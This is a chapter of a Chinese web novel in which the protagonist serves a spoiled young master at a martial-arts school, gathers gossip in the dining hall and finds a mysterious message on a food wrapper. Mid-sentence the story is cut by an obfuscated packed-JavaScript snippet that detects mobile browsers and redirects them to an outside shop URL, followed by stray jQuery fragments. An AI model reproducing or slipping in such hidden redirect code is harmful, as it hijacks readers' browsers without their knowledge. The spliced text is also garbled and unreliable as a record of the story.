18. 第 18 章

作品:《放置游戏不允许躺平

    褚遥阅剧多年,读空气的经验丰富。朱渟渊的症状挺好猜的:他有点缺爱。


    朱夫人很关心儿子,要什么给什么,但方法有点不对劲。她会专门见自己这样的小仆人,会保护儿子不接触武馆外的世界,却好像不怎么亲自过问儿子的日常活动。


    【病态的未成年身后,八成有个病态的原生家庭。】褚遥如是评价,面上漠不关心。打工么,对老板的家事可以好奇,绝不挂心。没有哪款游戏的主线剧情是调解家庭矛盾吧?


    朱夫人住在主院的西厢。褚遥眨眨眼,感觉到一丝说不出的违和。屋内亮着灯,惜春姑姑守在廊下亲自煎药,看到冒雨前来的朱渟渊,神色并不意外。


    “文殊奴,夫人已经歇下了,您可以进去,但悄声些。”她推开门,放朱渟渊进屋,声音低沉:“夫人这几日睡得不好。”


    秋月很自然地接过了看药炉的活儿,朱渟渊闪进碧纱橱见母亲,徒留褚遥尴尬地杵在主母厢房门口,接着在惜春姑姑的目光逼视下一步一步,退出了主院的院门。


    【不是你们让我一步不离跟着朱渟渊的吗?!】褚遥暗恼,站在门廊下发呆,忽然想到了之前违和感的来源。


    朱祥好像是住在主院东厢房的,这夫妻俩,分房睡?这好像和外界传言的恩爱人设不相符啊。唔,也可能是朱夫人生病了,所以隔离开了?那位异常美丽的朱夫人,看起来身体不太好的样子……


    金狮武馆的内院和当初设想的真的很不一样,违和之处太多了。威严粗犷的武馆馆主,娶了比自己小两轮的美艳娇妻,岳丈家还非常富有。这样看来,江南园林风格的深宅后院,颇有金屋藏娇的意味了,朱祥对朱夫人一定是很重视的,不然后院不可能没有其他姬妾。


    但若真是恩爱夫妻,为什么结婚多年,朱祥和朱夫人只有一个儿子?总不至于是哪一方不行?


    朱祥应酬不少,譬如今晚,他又不在屋子里,加上组织比武大会这样的活动,看来并非怕事避世之人。以他的声望、财富与影响力,为什么将独子幽禁于内院,坚决不允许他走出武馆?


    不管是外界传言,还是朱夫人的言辞,都反复强调要朱渟渊远离江湖、专心考学,未来走科举正途。真是如此,怎么会任由朱渟渊不学无术、荒废学业?又怎么会把注定远赴京城,至少也要去州府应试的孩子拘禁在家里?这不是自相矛盾吗?


    越想越觉得这对夫妇的操作很难评,好像他们只是被植入“儿子一定要读书做官”的信念,却不清楚应该怎么实现这条指令似的。褚遥摇摇头,回头看看主院的方向,有点想开小差。


    真是瞌睡有人送枕头,惜春姑姑走出院门,通知说朱渟渊今天留宿主院。褚遥露出今晚第一个真心的笑容,“明日小子来伺候少爷?”


    “不必,明日你在秋爽斋候着,送少爷去学堂。”


    褚遥了然:这大概就是朱渟渊撒娇耍赖留下来的条件了。


    晚饭不用近旁伺候,褚遥溜达去饭堂,赶巧遇上了马房管事和张教头,想了想,迎了上去。


    “王管事,张教头。”褚遥见过礼,张教头上下打量了褚遥几眼,挑了挑眉,“我听说,小褚你现在进了内院伺候。可喜可贺啊。”


    “哪里,还是一样听命做事。只是不能再每日向您请教了,”褚遥叹口气,“还请张教头勿怪。”


    “我本来也教不了你什么了,”张教头示意褚遥坐下,“得闲再来练武场,方伯安他们还问起你,我只说你交了好运,没有细说。”


    “理当如此。我虽学了基础剑术,但交战经验不足,正要和大家多多切磋。只是刚调进内院,诸事都要谨言慎行,不好常去西院。”褚遥又再次感谢王管事当初写下推荐信,一时三人言笑融洽。


    饭堂人来人往,是武馆中的消息集散地,褚遥社交一圈,又听到几样八卦:


    1.朱馆主的契弟宋书豪近日来了襄阳,就住在武馆。运气好的话,有机会在练武场得到他的点评甚至亲自指点。


    2.江湖百晓生确实出现在襄阳,但好像短暂现身后就失去了踪影。有人传言,他雇了马车往嵩山去了,不知消息是否确切。


    3.刘管家近日神思恍惚。传闻他族中大伯家住衡阳府,近日遭遇灭门惨祸,凶手尚未落网。


    第三条传闻,令褚遥有些在意。提到灭门惨祸,她就想起前两次杀入金狮武馆的黑衣人。如今虽然进入内院,但与朱馆主一家相处时日尚短,别说黑衣人的来历,就是朱馆主有什么仇家,都还没能搞清楚。


    【这倒不用急,还是先把实力提升上去。可惜不能继续浇水来提升基础轻功,不知朱祥能不能在这方面提供指点?】


    吃完饭,褚遥主动将餐具送往厨下,趁机与王厨子和阿江闲谈几句。“阿江姐,要是出去采买缺人手,千万给我递个信儿!”又给王厨子袖里塞了个纸包,“王厨,明早给我留四个肉包子,两个鸡蛋!您调的馅料是这个!”褚遥竖起大拇指。


    王厨子隔着纸包一捻,胖脸蛋上就带了笑影,嘴上还要说:“要不怎么说半大小子吃穷老子,你赚点钱,都吃到肚子里了,以后不娶媳妇啦?”收了小灶费,王厨子开了橱柜的锁,从上层取了个小油纸包塞给褚遥,“喏,赶紧回去吧,我这灶房可不许旁人多待!”


    褚遥回到屋里,打开油纸包,发现里头竟然是半只叫花鸡!“嚯,这是……好感度刷上来后的隐藏惊喜?”凉了的叫花鸡,表层有层晶亮的油冻,仍然很香。褚遥撕下一块鸡肉塞进嘴里,把纸包合拢,发现油纸正面似乎有字。


    王厨子一天忙活到晚,做的食物讲究量大管饱,油水丰厚,滋味虽不差,花样却不多。毕竟有那么多张嘴要伺候,不太可能花时间做叫花鸡。这油纸包的叫花鸡,应该是从金狮武馆外头带进来的。


    纸上的文字,会不会有关于武馆外的讯息呢?褚遥嗦了下手指,把油灯举近了些,掀起被油渍浸泡得颜色略深的纸张一角。火光映照下,几列字迹清晰起来。


    只一眼,褚遥瞳孔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976205|193502||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地震,抄起桌上的空碗,把鸡肉一股脑倒进去,小心翼翼地将油纸包展开、抻平,对着灯焰细细看一遍,呆愣片刻,又读了一遍。


    “握草……”褚遥抓着油纸,满眼放空,“这也行?”


    灯芯发出一声爆响,光焰黯淡了些。褚遥回过神,捞过叫花鸡,一边吃,一边盯着油纸上的字迹,再一次对身处游戏世界这一事实感到微妙。


    鸡吃完了,褚遥将碎骨头包进油纸,出门丢垃圾。朱渟渊不在,小院里静得只能听见自己的脚步声。刷了水碗,净了手,也才刚过了戌时,远没到休息的时候。褚遥回屋里拿了铁剑,站在空无一人的院子里,开始练习基础剑法。


    寅时,天刚擦亮,建筑、花木还只是一团团混沌阴影。褚遥蹑步出了小院,借助山石、灌木的遮掩,窜到了后墙根。一回生二回熟,这次翻墙利索许多,几乎没弄出什么动静。


    卯时,张老伯在茅草屋内的卧榻上翻了个身。紧闭的门扉外,一桶清水静静搁在土廊上,旁边是码放整齐的一小捆柴火。


    褚遥回到内院后,又练习了半个时辰剑法,直到全身毛孔舒张、头顶直冒热气,才满足地做完拉伸、整理仪容,神采奕奕地去吃早饭。刚啃了两个肉包子,隔壁一桌的交谈声传入耳中。


    “荆州一带又在闹山贼。”


    “我听说的是汝州那边,害,官兵剿匪剿了好几次,结果呢!呸!”


    “嘘!吃饭吃饭……”


    褚遥听在耳中,对这个世界的治安水平不抱希望:武侠世界,要是国泰民安,大家还挤破头学武艺做什么?如果脱离金狮武馆,自己这点三脚猫的功夫,不会出去就给盗匪送菜吧?


    但不出去,半年后也得被砍一刀。这下可真是前有狼后有虎了。


    【得趁着留在武馆的机会,把基础武学都刷满,以及……】


    想起昨晚获得的新情报,褚遥目光一肃:朱渟渊这三天打鱼、两天打网的求学态度,必须得改改了!


    褚遥不在乎朱渟渊是不是好学,但真的很怕这混世魔王连累自己被赶出学堂。


    “少爷,您要带这些去学堂吗?”褚遥看着朱渟渊的书匣,太阳穴一紧,伸出手捏起一枚三层透雕的象牙如意滚球。轻轻一晃,牙雕球里面两层滚动,发出悦耳的响声,第二层的珍禽异兽和第三层的亭台花木图案交叠,精美绝伦。但这玩意,怎么看也不是文具吧??


    朱渟渊正将一串青玉解连环与一盒六博棋塞进书匣,闻言懒懒瞥了褚遥一眼,“总得找点乐子。我这里满了,你把多宝匣拿着。”说着就将自己的文具盒塞进褚遥怀里。


    宠物三人组对朱渟渊的操作习以为常,小猫上前,将琳琅满目的“玩物”收纳整齐,盖上盖子,连同食盒、文具盒一起,交给褚遥捧着,又在褚遥身上挂了一葫芦蜜水。这架势不像是去上学,倒像是去春游。


    “走了!”朱渟渊两手空空,一身轻松地跨出门去。小鱼在褚遥出门前却拉了拉她的袖子,示意还有话要交代。